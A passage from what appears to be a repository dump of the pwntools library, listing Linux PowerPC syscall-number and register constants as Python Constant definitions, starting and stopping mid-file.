Constant('SYS_memfd_create',360)\nSYS_mincore = Constant('SYS_mincore',206)\nSYS_mkdir = Constant('SYS_mkdir',39)\nSYS_mkdirat = Constant('SYS_mkdirat',287)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_mknodat = Constant('SYS_mknodat',288)\nSYS_mlock = Constant('SYS_mlock',150)\nSYS_mlock2 = Constant('SYS_mlock2',378)\nSYS_mlockall = Constant('SYS_mlockall',152)\nSYS_mmap = Constant('SYS_mmap',90)\nSYS_mmap2 = Constant('SYS_mmap2',192)\nSYS_modify_ldt = Constant('SYS_modify_ldt',123)\nSYS_mount = Constant('SYS_mount',21)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',301)\nSYS_mprotect = Constant('SYS_mprotect',125)\nSYS_mpx = Constant('SYS_mpx',56)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',267)\nSYS_mq_notify = Constant('SYS_mq_notify',266)\nSYS_mq_open = Constant('SYS_mq_open',262)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',265)\nSYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',419)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',264)\nSYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',418)\nSYS_mq_unlink = Constant('SYS_mq_unlink',263)\nSYS_mremap = Constant('SYS_mremap',163)\nSYS_msgctl = Constant('SYS_msgctl',402)\nSYS_msgget = Constant('SYS_msgget',399)\nSYS_msgrcv = Constant('SYS_msgrcv',401)\nSYS_msgsnd = Constant('SYS_msgsnd',400)\nSYS_msync = Constant('SYS_msync',144)\nSYS_multiplexer = Constant('SYS_multiplexer',201)\nSYS_munlock = Constant('SYS_munlock',151)\nSYS_munlockall = Constant('SYS_munlockall',153)\nSYS_munmap = Constant('SYS_munmap',91)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',345)\nSYS_nanosleep = Constant('SYS_nanosleep',162)\nSYS__newselect = Constant('SYS__newselect',142)\nSYS_nfsservctl = Constant('SYS_nfsservctl',168)\nSYS_nice = Constant('SYS_nice',34)\nSYS_oldfstat = Constant('SYS_oldfstat',28)\nSYS_oldlstat = Constant('SYS_oldlstat',84)\nSYS_oldolduname = Constant('SYS_oldolduname',59)\nSYS_oldstat = Constant('SYS_oldstat',18)\nSYS_olduname = Constant('SYS_olduname',109)\nSYS_open = Constant('SYS_open',5)\nSYS_openat = Constant('SYS_openat',286)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',346)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_pause = Constant('SYS_pause',29)\nSYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',200)\nSYS_pciconfig_read = Constant('SYS_pciconfig_read',198)\nSYS_pciconfig_write = Constant('SYS_pciconfig_write',199)\nSYS_perf_event_open = Constant('SYS_perf_event_open',319)\nSYS_personality = Constant('SYS_personality',136)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_pipe2 = Constant('SYS_pipe2',317)\nSYS_pivot_root = Constant('SYS_pivot_root',203)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',384)\nSYS_pkey_free = Constant('SYS_pkey_free',385)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',386)\nSYS_poll = Constant('SYS_poll',167)\nSYS_ppoll = Constant('SYS_ppoll',281)\nSYS_ppoll_time64 = Constant('SYS_ppoll_time64',414)\nSYS_prctl = Constant('SYS_prctl',171)\nSYS_pread = Constant('SYS_pread',179)\nSYS_preadv = Constant('SYS_preadv',320)\nSYS_preadv2 = Constant('SYS_preadv2',380)\nSYS_prlimit64 = Constant('SYS_prlimit64',325)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',351)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',352)\nSYS_prof = Constant('SYS_prof',44)\nSYS_profil = Constant('SYS_profil',98)\nSYS_pselect6 = Constant('SYS_pselect6',280)\nSYS_pselect6_time64 = Constant('SYS_pselect6_time64',413)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_putpmsg = Constant('SYS_putpmsg',188)\nSYS_pwrite = Constant('SYS_pwrite',180)\nSYS_pwritev = Constant('SYS_pwritev',321)\nSYS_pwritev2 = Constant('SYS_pwritev2',381)\nSYS_query_module = Constant('SYS_query_module',166)\nSYS_quotactl = Constant('SYS_quotactl',131)\nSYS_read = Constant('SYS_read',3)\nSYS_readahead = Constant('SYS_readahead',191)\nSYS_readdir = Constant('SYS_readdir',89)\nSYS_readlink = Constant('SYS_readlink',85)\nSYS_readlinkat = Constant('SYS_readlinkat',296)\nSYS_readv = Constant('SYS_readv',145)\nSYS_reboot = Constant('SYS_reboot',88)\nSYS_recv = Constant('SYS_recv',336)\nSYS_recvfrom = Constant('SYS_recvfrom',337)\nSYS_recvmmsg = Constant('SYS_recvmmsg',343)\nSYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',417)\nSYS_recvmsg = Constant('SYS_recvmsg',342)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',239)\nSYS_removexattr = Constant('SYS_removexattr',218)\nSYS_rename = Constant('SYS_rename',38)\nSYS_renameat = Constant('SYS_renameat',293)\nSYS_renameat2 = Constant('SYS_renameat2',357)\nSYS_request_key = Constant('SYS_request_key',270)\nSYS_rmdir = Constant('SYS_rmdir',40)\nSYS_rseq = Constant('SYS_rseq',387)\nSYS_rtas = Constant('SYS_rtas',255)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',173)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',175)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',174)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',177)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',172)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',178)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',176)\nSYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',421)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',322)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',223)\nSYS_sched_getattr = Constant('SYS_sched_getattr',356)\nSYS_sched_getparam = Constant('SYS_sched_getparam',155)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161)\nSYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',423)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',222)\nSYS_sched_setattr = Constant('SYS_sched_setattr',355)\nSYS_sched_setparam = Constant('SYS_sched_setparam',154)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156)\nSYS_sched_yield = Constant('SYS_sched_yield',158)\nSYS_seccomp = Constant('SYS_seccomp',358)\nSYS_select = Constant('SYS_select',82)\nSYS_semctl = Constant('SYS_semctl',394)\nSYS_semget = Constant('SYS_semget',393)\nSYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',420)\nSYS_send = Constant('SYS_send',334)\nSYS_sendfile = Constant('SYS_sendfile',186)\nSYS_sendfile64 = Constant('SYS_sendfile64',226)\nSYS_sendmmsg = Constant('SYS_sendmmsg',349)\nSYS_sendmsg = Constant('SYS_sendmsg',341)\nSYS_sendto = Constant('SYS_sendto',335)\nSYS_setdomainname = Constant('SYS_setdomainname',121)\nSYS_setfsgid = Constant('SYS_setfsgid',139)\nSYS_setfsuid = Constant('SYS_setfsuid',138)\nSYS_setgid = Constant('SYS_setgid',46)\nSYS_setgroups = Constant('SYS_setgroups',81)\nSYS_sethostname = Constant('SYS_sethostname',74)\nSYS_setitimer = Constant('SYS_setitimer',104)\nSYS_setns = Constant('SYS_setns',350)\nSYS_setpgid = Constant('SYS_setpgid',57)\nSYS_setpriority = Constant('SYS_setpriority',97)\nSYS_setregid = Constant('SYS_setregid',71)\nSYS_setresgid = Constant('SYS_setresgid',169)\nSYS_setresuid = Constant('SYS_setresuid',164)\nSYS_setreuid = Constant('SYS_setreuid',70)\nSYS_setrlimit = Constant('SYS_setrlimit',75)\nSYS_set_robust_list = Constant('SYS_set_robust_list',300)\nSYS_setsid = Constant('SYS_setsid',66)\nSYS_setsockopt = Constant('SYS_setsockopt',339)\nSYS_set_tid_address = Constant('SYS_set_tid_address',232)\nSYS_settimeofday = Constant('SYS_settimeofday',79)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_setxattr = Constant('SYS_setxattr',209)\nSYS_sgetmask = Constant('SYS_sgetmask',68)\nSYS_shmat = Constant('SYS_shmat',397)\nSYS_shmctl = Constant('SYS_shmctl',396)\nSYS_shmdt = Constant('SYS_shmdt',398)\nSYS_shmget = Constant('SYS_shmget',395)\nSYS_shutdown = Constant('SYS_shutdown',338)\nSYS_sigaction = Constant('SYS_sigaction',67)\nSYS_sigaltstack = Constant('SYS_sigaltstack',185)\nSYS_signal = Constant('SYS_signal',48)\nSYS_signalfd = Constant('SYS_signalfd',305)\nSYS_signalfd4 = Constant('SYS_signalfd4',313)\nSYS_sigpending = Constant('SYS_sigpending',73)\nSYS_sigprocmask = Constant('SYS_sigprocmask',126)\nSYS_sigreturn = Constant('SYS_sigreturn',119)\nSYS_sigsuspend = Constant('SYS_sigsuspend',72)\nSYS_socket = Constant('SYS_socket',326)\nSYS_socketcall = Constant('SYS_socketcall',102)\nSYS_socketpair = Constant('SYS_socketpair',333)\nSYS_splice = Constant('SYS_splice',283)\nSYS_spu_create = Constant('SYS_spu_create',279)\nSYS_spu_run = Constant('SYS_spu_run',278)\nSYS_ssetmask = Constant('SYS_ssetmask',69)\nSYS_stat = Constant('SYS_stat',106)\nSYS_stat64 = Constant('SYS_stat64',195)\nSYS_statfs = Constant('SYS_statfs',99)\nSYS_statfs64 = Constant('SYS_statfs64',252)\nSYS_statx = Constant('SYS_statx',383)\nSYS_stime = Constant('SYS_stime',25)\nSYS_stty = Constant('SYS_stty',31)\nSYS_subpage_prot = Constant('SYS_subpage_prot',310)\nSYS_swapcontext = Constant('SYS_swapcontext',249)\nSYS_swapoff = Constant('SYS_swapoff',115)\nSYS_swapon = Constant('SYS_swapon',87)\nSYS_switch_endian = Constant('SYS_switch_endian',363)\nSYS_symlink = Constant('SYS_symlink',83)\nSYS_symlinkat = Constant('SYS_symlinkat',295)\nSYS_sync = Constant('SYS_sync',36)\nSYS_sync_file_range2 = Constant('SYS_sync_file_range2',308)\nSYS_syncfs = Constant('SYS_syncfs',348)\nSYS__sysctl = Constant('SYS__sysctl',149)\nSYS_sys_debug_setcontext = Constant('SYS_sys_debug_setcontext',256)\nSYS_sysfs = Constant('SYS_sysfs',135)\nSYS_sysinfo = Constant('SYS_sysinfo',116)\nSYS_syslog = Constant('SYS_syslog',103)\nSYS_tee = Constant('SYS_tee',284)\nSYS_tgkill = Constant('SYS_tgkill',250)\nSYS_time = Constant('SYS_time',13)\nSYS_timer_create = Constant('SYS_timer_create',240)\nSYS_timer_delete = Constant('SYS_timer_delete',244)\nSYS_timerfd = Constant('SYS_timerfd',306)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',312)\nSYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',410)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',311)\nSYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',411)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',243)\nSYS_timer_gettime = Constant('SYS_timer_gettime',242)\nSYS_timer_gettime64 = Constant('SYS_timer_gettime64',408)\nSYS_timer_settime = Constant('SYS_timer_settime',241)\nSYS_timer_settime64 = Constant('SYS_timer_settime64',409)\nSYS_times = Constant('SYS_times',43)\nSYS_tkill = Constant('SYS_tkill',208)\nSYS_truncate = Constant('SYS_truncate',92)\nSYS_truncate64 = Constant('SYS_truncate64',193)\nSYS_tuxcall = Constant('SYS_tuxcall',225)\nSYS_ugetrlimit = Constant('SYS_ugetrlimit',190)\nSYS_ulimit = Constant('SYS_ulimit',58)\nSYS_umask = Constant('SYS_umask',60)\nSYS_umount = Constant('SYS_umount',22)\nSYS_umount2 = Constant('SYS_umount2',52)\nSYS_uname = Constant('SYS_uname',122)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_unlinkat = Constant('SYS_unlinkat',292)\nSYS_unshare = Constant('SYS_unshare',282)\nSYS_uselib = Constant('SYS_uselib',86)\nSYS_userfaultfd = Constant('SYS_userfaultfd',364)\nSYS_ustat = Constant('SYS_ustat',62)\nSYS_utime = Constant('SYS_utime',30)\nSYS_utimensat = Constant('SYS_utimensat',304)\nSYS_utimensat_time64 = Constant('SYS_utimensat_time64',412)\nSYS_utimes = Constant('SYS_utimes',251)\nSYS_vfork = Constant('SYS_vfork',189)\nSYS_vhangup = Constant('SYS_vhangup',111)\nSYS_vm86 = Constant('SYS_vm86',113)\nSYS_vmsplice = Constant('SYS_vmsplice',285)\nSYS_wait4 = Constant('SYS_wait4',114)\nSYS_waitid = Constant('SYS_waitid',272)\nSYS_waitpid = Constant('SYS_waitpid',7)\nSYS_write = Constant('SYS_write',4)\nSYS_writev = Constant('SYS_writev',146)\nr0 = Constant('r0',0)\nr1 = Constant('r1',1)\nr2 = Constant('r2',2)\nr3 = Constant('r3',3)\nr4 = Constant('r4',4)\nr5 = Constant('r5',5)\nr6 = Constant('r6',6)\nr7 = Constant('r7',7)\nr8 = Constant('r8',8)\nr9 = Constant('r9',9)\nr10 = Constant('r10',10)\nr11 = Constant('r11',11)\nr12 = Constant('r12',12)\nr13 = Constant('r13',13)\nr14 = Constant('r14',14)\nr15 = Constant('r15',15)\nr16 = Constant('r16',16)\nr17 = Constant('r17',17)\nr18 = Constant('r18',18)\nr19 = Constant('r19',19)\nr20 = Constant('r20',20)\nr21 = Constant('r21',21)\nr22 = Constant('r22',22)\nr23 = Constant('r23',23)\nr24 = Constant('r24',24)\nr25 = Constant('r25',25)\nr26 = Constant('r26',26)\nr27 = Constant('r27',27)\nr28 = Constant('r28',28)\nr29 = Constant('r29',29)\nr30 = Constant('r30',30)\nr31 = Constant('r31',31)\n"
  },
  {
    "path": "pwnlib/constants/linux/powerpc64.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_exit = Constant('__NR_exit',1)\n__NR_fork = Constant('__NR_fork',2)\n__NR_read = Constant('__NR_read',3)\n__NR_write = Constant('__NR_write',4)\n__NR_open = Constant('__NR_open',5)\n__NR_close = Constant('__NR_close',6)\n__NR_waitpid = Constant('__NR_waitpid',7)\n__NR_creat = Constant('__NR_creat',8)\n__NR_link = Constant('__NR_link',9)\n__NR_unlink = Constant('__NR_unlink',10)\n__NR_execve = Constant('__NR_execve',11)\n__NR_chdir = Constant('__NR_chdir',12)\n__NR_time = Constant('__NR_time',13)\n__NR_mknod = Constant('__NR_mknod',14)\n__NR_chmod = Constant('__NR_chmod',15)\n__NR_lchown = Constant('__NR_lchown',16)\n__NR_break = Constant('__NR_break',17)\n__NR_oldstat = Constant('__NR_oldstat',18)\n__NR_lseek = Constant('__NR_lseek',19)\n__NR_getpid = Constant('__NR_getpid',20)\n__NR_mount = Constant('__NR_mount',21)\n__NR_umount = Constant('__NR_umount',22)\n__NR_setuid = Constant('__NR_setuid',23)\n__NR_getuid = Constant('__NR_getuid',24)\n__NR_stime = Constant('__NR_stime',25)\n__NR_ptrace = Constant('__NR_ptrace',26)\n__NR_alarm = Constant('__NR_alarm',27)\n__NR_oldfstat = Constant('__NR_oldfstat',28)\n__NR_pause = Constant('__NR_pause',29)\n__NR_utime = Constant('__NR_utime',30)\n__NR_stty = Constant('__NR_stty',31)\n__NR_gtty = Constant('__NR_gtty',32)\n__NR_access = Constant('__NR_access',33)\n__NR_nice = Constant('__NR_nice',34)\n__NR_ftime = Constant('__NR_ftime',35)\n__NR_sync = Constant('__NR_sync',36)\n__NR_kill = Constant('__NR_kill',37)\n__NR_rename = Constant('__NR_rename',38)\n__NR_mkdir = Constant('__NR_mkdir',39)\n__NR_rmdir = Constant('__NR_rmdir',40)\n__NR_dup = Constant('__NR_dup',41)\n__NR_pipe = Constant('__NR_pipe',42)\n__NR_times = Constant('__NR_times',43)\n__NR_prof = Constant('__NR_prof',44)\n__NR_brk = Constant('__NR_brk',45)\n__NR_setgid = Constant('__NR_setgid',46)\n__NR_getgid = Constant('__NR_getgid',47)\n__NR_signal = Constant('__NR_signal',48)\n__NR_geteuid = Constant('__NR_geteuid',49)\n__NR_getegid = Constant('__NR_getegid',50)\n__NR_acct = Constant('__NR_acct',51)\n__NR_umount2 = Constant('__NR_umount2',52)\n__NR_lock = Constant('__NR_lock',53)\n__NR_ioctl = Constant('__NR_ioctl',54)\n__NR_fcntl = Constant('__NR_fcntl',55)\n__NR_mpx = Constant('__NR_mpx',56)\n__NR_setpgid = Constant('__NR_setpgid',57)\n__NR_ulimit = Constant('__NR_ulimit',58)\n__NR_oldolduname = Constant('__NR_oldolduname',59)\n__NR_umask = Constant('__NR_umask',60)\n__NR_chroot = Constant('__NR_chroot',61)\n__NR_ustat = Constant('__NR_ustat',62)\n__NR_dup2 = Constant('__NR_dup2',63)\n__NR_getppid = Constant('__NR_getppid',64)\n__NR_getpgrp = Constant('__NR_getpgrp',65)\n__NR_setsid = Constant('__NR_setsid',66)\n__NR_sigaction = Constant('__NR_sigaction',67)\n__NR_sgetmask = Constant('__NR_sgetmask',68)\n__NR_ssetmask = Constant('__NR_ssetmask',69)\n__NR_setreuid = Constant('__NR_setreuid',70)\n__NR_setregid = Constant('__NR_setregid',71)\n__NR_sigsuspend = Constant('__NR_sigsuspend',72)\n__NR_sigpending = Constant('__NR_sigpending',73)\n__NR_sethostname = Constant('__NR_sethostname',74)\n__NR_setrlimit = Constant('__NR_setrlimit',75)\n__NR_getrlimit = Constant('__NR_getrlimit',76)\n__NR_getrusage = Constant('__NR_getrusage',77)\n__NR_gettimeofday = Constant('__NR_gettimeofday',78)\n__NR_settimeofday = Constant('__NR_settimeofday',79)\n__NR_getgroups = Constant('__NR_getgroups',80)\n__NR_setgroups = Constant('__NR_setgroups',81)\n__NR_select = Constant('__NR_select',82)\n__NR_symlink = Constant('__NR_symlink',83)\n__NR_oldlstat = Constant('__NR_oldlstat',84)\n__NR_readlink = Constant('__NR_readlink',85)\n__NR_uselib = Constant('__NR_uselib',86)\n__NR_swapon = Constant('__NR_swapon',87)\n__NR_reboot = Constant('__NR_reboot',88)\n__NR_readdir = Constant('__NR_readdir',89)\n__NR_mmap = Constant('__NR_mmap',90)\n__NR_munmap = Constant('__NR_munmap',91)\n__NR_truncate = Constant('__NR_truncate',92)\n__NR_ftruncate = Constant('__NR_ftruncate',93)\n__NR_fchmod = Constant('__NR_fchmod',94)\n__NR_fchown = Constant('__NR_fchown',95)\n__NR_getpriority = Constant('__NR_getpriority',96)\n__NR_setpriority = Constant('__NR_setpriority',97)\n__NR_profil = Constant('__NR_profil',98)\n__NR_statfs = Constant('__NR_statfs',99)\n__NR_fstatfs = Constant('__NR_fstatfs',100)\n__NR_ioperm = Constant('__NR_ioperm',101)\n__NR_socketcall = Constant('__NR_socketcall',102)\n__NR_syslog = Constant('__NR_syslog',103)\n__NR_setitimer = Constant('__NR_setitimer',104)\n__NR_getitimer = Constant('__NR_getitimer',105)\n__NR_stat = Constant('__NR_stat',106)\n__NR_lstat = Constant('__NR_lstat',107)\n__NR_fstat = Constant('__NR_fstat',108)\n__NR_olduname = Constant('__NR_olduname',109)\n__NR_iopl = Constant('__NR_iopl',110)\n__NR_vhangup = Constant('__NR_vhangup',111)\n__NR_idle = Constant('__NR_idle',112)\n__NR_vm86 = Constant('__NR_vm86',113)\n__NR_wait4 = Constant('__NR_wait4',114)\n__NR_swapoff = Constant('__NR_swapoff',115)\n__NR_sysinfo = Constant('__NR_sysinfo',116)\n__NR_ipc = Constant('__NR_ipc',117)\n__NR_fsync = Constant('__NR_fsync',118)\n__NR_sigreturn = Constant('__NR_sigreturn',119)\n__NR_clone = Constant('__NR_clone',120)\n__NR_setdomainname = Constant('__NR_setdomainname',121)\n__NR_uname = Constant('__NR_uname',122)\n__NR_modify_ldt = Constant('__NR_modify_ldt',123)\n__NR_adjtimex = Constant('__NR_adjtimex',124)\n__NR_mprotect = Constant('__NR_mprotect',125)\n__NR_sigprocmask = Constant('__NR_sigprocmask',126)\n__NR_create_module = Constant('__NR_create_module',127)\n__NR_init_module = Constant('__NR_init_module',128)\n__NR_delete_module = Constant('__NR_delete_module',129)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130)\n__NR_quotactl = Constant('__NR_quotactl',131)\n__NR_getpgid = Constant('__NR_getpgid',132)\n__NR_fchdir = Constant('__NR_fchdir',133)\n__NR_bdflush = Constant('__NR_bdflush',134)\n__NR_sysfs = Constant('__NR_sysfs',135)\n__NR_personality = Constant('__NR_personality',136)\n__NR_afs_syscall = Constant('__NR_afs_syscall',137)\n__NR_setfsuid = Constant('__NR_setfsuid',138)\n__NR_setfsgid = Constant('__NR_setfsgid',139)\n__NR__llseek = Constant('__NR__llseek',140)\n__NR_getdents = Constant('__NR_getdents',141)\n__NR__newselect = Constant('__NR__newselect',142)\n__NR_flock = Constant('__NR_flock',143)\n__NR_msync = Constant('__NR_msync',144)\n__NR_readv = Constant('__NR_readv',145)\n__NR_writev = Constant('__NR_writev',146)\n__NR_getsid = Constant('__NR_getsid',147)\n__NR_fdatasync = Constant('__NR_fdatasync',148)\n__NR__sysctl = Constant('__NR__sysctl',149)\n__NR_mlock = Constant('__NR_mlock',150)\n__NR_munlock = Constant('__NR_munlock',151)\n__NR_mlockall = Constant('__NR_mlockall',152)\n__NR_munlockall = Constant('__NR_munlockall',153)\n__NR_sched_setparam = Constant('__NR_sched_setparam',154)\n__NR_sched_getparam = Constant('__NR_sched_getparam',155)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157)\n__NR_sched_yield = Constant('__NR_sched_yield',158)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161)\n__NR_nanosleep = Constant('__NR_nanosleep',162)\n__NR_mremap = Constant('__NR_mremap',163)\n__NR_setresuid = Constant('__NR_setresuid',164)\n__NR_getresuid = Constant('__NR_getresuid',165)\n__NR_query_module = Constant('__NR_query_module',166)\n__NR_poll = Constant('__NR_poll',167)\n__NR_nfsservctl = Constant('__NR_nfsservctl',168)\n__NR_setresgid = Constant('__NR_setresgid',169)\n__NR_getresgid = Constant('__NR_getresgid',170)\n__NR_prctl = Constant('__NR_prctl',171)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',172)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',173)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',174)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',175)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',176)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',177)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',178)\n__NR_pread = Constant('__NR_pread',179)\n__NR_pwrite = Constant('__NR_pwrite',180)\n__NR_chown = Constant('__NR_chown',181)\n__NR_getcwd = Constant('__NR_getcwd',182)\n__NR_capget = Constant('__NR_capget',183)\n__NR_capset = Constant('__NR_capset',184)\n__NR_sigaltstack = Constant('__NR_sigaltstack',185)\n__NR_sendfile = Constant('__NR_sendfile',186)\n__NR_getpmsg = Constant('__NR_getpmsg',187)\n__NR_putpmsg = Constant('__NR_putpmsg',188)\n__NR_vfork = Constant('__NR_vfork',189)\n__NR_ugetrlimit = Constant('__NR_ugetrlimit',190)\n__NR_readahead = Constant('__NR_readahead',191)\n__NR_pciconfig_read = Constant('__NR_pciconfig_read',198)\n__NR_pciconfig_write = Constant('__NR_pciconfig_write',199)\n__NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',200)\n__NR_multiplexer = Constant('__NR_multiplexer',201)\n__NR_getdents64 = Constant('__NR_getdents64',202)\n__NR_pivot_root = Constant('__NR_pivot_root',203)\n__NR_madvise = Constant('__NR_madvise',205)\n__NR_mincore = Constant('__NR_mincore',206)\n__NR_gettid = Constant('__NR_gettid',207)\n__NR_tkill = Constant('__NR_tkill',208)\n__NR_setxattr = Constant('__NR_setxattr',209)\n__NR_lsetxattr = Constant('__NR_lsetxattr',210)\n__NR_fsetxattr = Constant('__NR_fsetxattr',211)\n__NR_getxattr = Constant('__NR_getxattr',212)\n__NR_lgetxattr = Constant('__NR_lgetxattr',213)\n__NR_fgetxattr = Constant('__NR_fgetxattr',214)\n__NR_listxattr = Constant('__NR_listxattr',215)\n__NR_llistxattr = Constant('__NR_llistxattr',216)\n__NR_flistxattr = Constant('__NR_flistxattr',217)\n__NR_removexattr = Constant('__NR_removexattr',218)\n__NR_lremovexattr = Constant('__NR_lremovexattr',219)\n__NR_fremovexattr = Constant('__NR_fremovexattr',220)\n__NR_futex = Constant('__NR_futex',221)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',222)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',223)\n__NR_tuxcall = Constant('__NR_tuxcall',225)\n__NR_io_setup = Constant('__NR_io_setup',227)\n__NR_io_destroy = Constant('__NR_io_destroy',228)\n__NR_io_getevents = Constant('__NR_io_getevents',229)\n__NR_io_submit = Constant('__NR_io_submit',230)\n__NR_io_cancel = Constant('__NR_io_cancel',231)\n__NR_set_tid_address = Constant('__NR_set_tid_address',232)\n__NR_fadvise64 = Constant('__NR_fadvise64',233)\n__NR_exit_group = Constant('__NR_exit_group',234)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',235)\n__NR_epoll_create = Constant('__NR_epoll_create',236)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',237)\n__NR_epoll_wait = Constant('__NR_epoll_wait',238)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',239)\n__NR_timer_create = Constant('__NR_timer_create',240)\n__NR_timer_settime = Constant('__NR_timer_settime',241)\n__NR_timer_gettime = Constant('__NR_timer_gettime',242)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',243)\n__NR_timer_delete = Constant('__NR_timer_delete',244)\n__NR_clock_settime = Constant('__NR_clock_settime',245)\n__NR_clock_gettime = Constant('__NR_clock_gettime',246)\n__NR_clock_getres = Constant('__NR_clock_getres',247)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',248)\n__NR_swapcontext = Constant('__NR_swapcontext',249)\n__NR_tgkill = Constant('__NR_tgkill',250)\n__NR_utimes = Constant('__NR_utimes',251)\n__NR_statfs64 = Constant('__NR_statfs64',252)\n__NR_fstatfs64 = Constant('__NR_fstatfs64',253)\n__NR_rtas = Constant('__NR_rtas',255)\n__NR_mbind = Constant('__NR_mbind',259)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',260)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',261)\n__NR_mq_open = Constant('__NR_mq_open',262)\n__NR_mq_unlink = Constant('__NR_mq_unlink',263)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',264)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',265)\n__NR_mq_notify = Constant('__NR_mq_notify',266)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',267)\n__NR_kexec_load = Constant('__NR_kexec_load',268)\n__NR_add_key = Constant('__NR_add_key',269)\n__NR_request_key = Constant('__NR_request_key',270)\n__NR_keyctl = Constant('__NR_keyctl',271)\n__NR_waitid = Constant('__NR_waitid',272)\n__NR_ioprio_set = Constant('__NR_ioprio_set',273)\n__NR_ioprio_get = Constant('__NR_ioprio_get',274)\n__NR_inotify_init = Constant('__NR_inotify_init',275)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',276)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',277)\n__NR_spu_run = Constant('__NR_spu_run',278)\n__NR_spu_create = Constant('__NR_spu_create',279)\n__NR_pselect6 = Constant('__NR_pselect6',280)\n__NR_ppoll = Constant('__NR_ppoll',281)\n__NR_unshare = Constant('__NR_unshare',282)\n__NR_splice = Constant('__NR_splice',283)\n__NR_tee = Constant('__NR_tee',284)\n__NR_vmsplice = Constant('__NR_vmsplice',285)\n__NR_openat = Constant('__NR_openat',286)\n__NR_mkdirat = Constant('__NR_mkdirat',287)\n__NR_mknodat = Constant('__NR_mknodat',288)\n__NR_fchownat = Constant('__NR_fchownat',289)\n__NR_futimesat = Constant('__NR_futimesat',290)\n__NR_newfstatat = Constant('__NR_newfstatat',291)\n__NR_unlinkat = Constant('__NR_unlinkat',292)\n__NR_renameat = Constant('__NR_renameat',293)\n__NR_linkat = Constant('__NR_linkat',294)\n__NR_symlinkat = Constant('__NR_symlinkat',295)\n__NR_readlinkat = Constant('__NR_readlinkat',296)\n__NR_fchmodat = Constant('__NR_fchmodat',297)\n__NR_faccessat = Constant('__NR_faccessat',298)\n__NR_get_robust_list = Constant('__NR_get_robust_list',299)\n__NR_set_robust_list = Constant('__NR_set_robust_list',300)\n__NR_move_pages = 